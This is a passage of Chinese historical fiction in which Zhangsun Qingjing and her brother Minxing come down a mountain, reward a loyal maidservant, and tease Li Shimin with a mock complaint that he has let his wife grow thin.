兄妹二人便自峰顶徐行,迤逦而下。但见归鸟投林,烟霞染径。不久二人循着人声,便遇到前来寻找他们的众部曲与奴婢。阿彩念了数声佛,偷偷将长孙敏行上下打量一遍,才回到长孙青璟身边。 “一切都过去了。敏行不会有事了。”长孙青璟柔声安慰这个胆小又纤柔的少女。 待得阿彩止住喜极而泣的抽噎,蝈娘才上前等候长孙青璟新的吩咐。 “蝈娘,你在这一月间,一次苦求画师,助我与二郎成就迎驾大事,一次及时相告,救我这糊涂兄长一命,我不知如何感激。” 长孙青璟望着蝈娘身上经过阿彩量体修裁的旧锦缎,不由得坦诚相告:“我向来不知你们的疾苦,却很愿意急人之难。我便先赏你米粟绢帛,聊表寸心。日后你凡有所需,直言无讳。我语出如金石,未尝戏言。你可记住了?” 蝈娘将长孙青璟所赏赐、又经阿彩改制的袄衫与襦裙整理端正,郑重回答:“娘子的话,奴婢记下了。等奴婢见过家人,商量妥当,定然将家人所求如实相告。” 下山之时,大概是同心无畏的缘故,众人履危石如坦途。甚至有几人叽叽喳喳说起今夜醵饮之事。 一二月间李家在庄园办醵饮,本是窦夫人掌管国公府家事后的新制,如今已是陈式。 佃户奴婢等本以为今年夫人新丧,醵饮俟后,未料夫人临终嘱咐醵饮如旧。所以今日虽说是庄吏出面聚集众人,大家也心知肚明是小郎君在服丧守制期间不便直接出面宴请的托词。 几个年轻的部曲与婢女声音越来越响,蝈娘便刻意咳嗽了数声,提醒众人在新主母面前不可放肆。大家便只顾赶路,不再闲谈。 众人行至凤翅形缓坡时,恰好遇到闻讯赶来的李世民与张后胤。 李世民勒辔释鞍,张后胤与他并辔而行。 李世民见到长孙敏行平安无事,少宽于心,便问青璟道:“我来晚了。你们一行人热热闹闹过来,怎么也不叫上我与张先生。” 长孙敏行与张后胤叉手相揖。张后胤便退至一边随几个年轻人先说要紧事。 “世民,我妹妹瘦了……”刚从情志症中解脱出来的少年突然质问道,对一个斯文有礼的人来说,这个语气带着显而易见的不满与质问。 “她哪里瘦了,不过比出嫁前长高了不少。”李世民反驳道。他想找个救兵为自己辩解——张后胤却假装欣赏美景,部曲奴婢们噤若寒蝉。 “她过去皮肤白皙,身量匀称,现在又黑又瘦。无忌与伯母一定心疼死了。”长孙敏行道,“妹妹爬上凤凰山找我时,我着实吓了一跳,她跟变了一个人似的,我简直认不出她了……” 李世民感觉自己无中生有的罪过又多了一条,赶紧为自己辩解:“她一到洛阳就不安分,去伊阙礼佛,走邙阪道寻人,可不晒黑了一些——你不知道她多能吃,一个人吃光了两个人的胡炙……” 长孙青璟躲在敏行身后恶狠狠地瞪了李世民一眼,眼梢里的刀子恨不得将他舌头割去。 “说句得罪李家的话,哪怕是治礼郎搬家那段时间,妹妹也未曾如此憔悴,你到底会不会照顾人?”长孙敏行穷追不舍,“枉我们一家觉得你是妹妹可以托付终身的良人!” “好好说话不要随便冤枉人。”李世民神色一凛,百口莫辩,“我全家都把她当随侯珠一样捧着。不信你问青璟。” 长孙青璟只是忽闪着无辜的眼睛,一副不可置信的模样. 长孙敏行故作严厉道:“看来有人做错事还抵赖。” “嗯!兄长所言极是!”长孙青璟重重点头。 李世民蹙眉半日,心中突然朗彻:“敏行,是不是长孙无忌教你使出这无中生有、颠倒黑白的招数捉弄我,吓唬我?” 兄妹俩的对视窃笑证实了李世民的猜测——这玩笑实在是太过分了! 张后胤面对年轻人无聊的恶作剧,觉得目不堪视,耳不堪闻,摇头又走远了一些。